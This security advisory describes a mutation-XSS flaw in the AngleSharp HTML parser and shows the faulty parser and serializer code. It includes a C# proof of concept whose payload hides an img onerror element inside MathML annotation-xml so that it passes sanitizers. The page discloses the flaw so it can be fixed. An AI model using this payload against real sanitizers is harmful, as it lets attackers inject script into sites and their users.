NuGet · AngleSharp
AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img> – SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.
This reduces AngleSharp's credibility as a conformant HTML parser.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.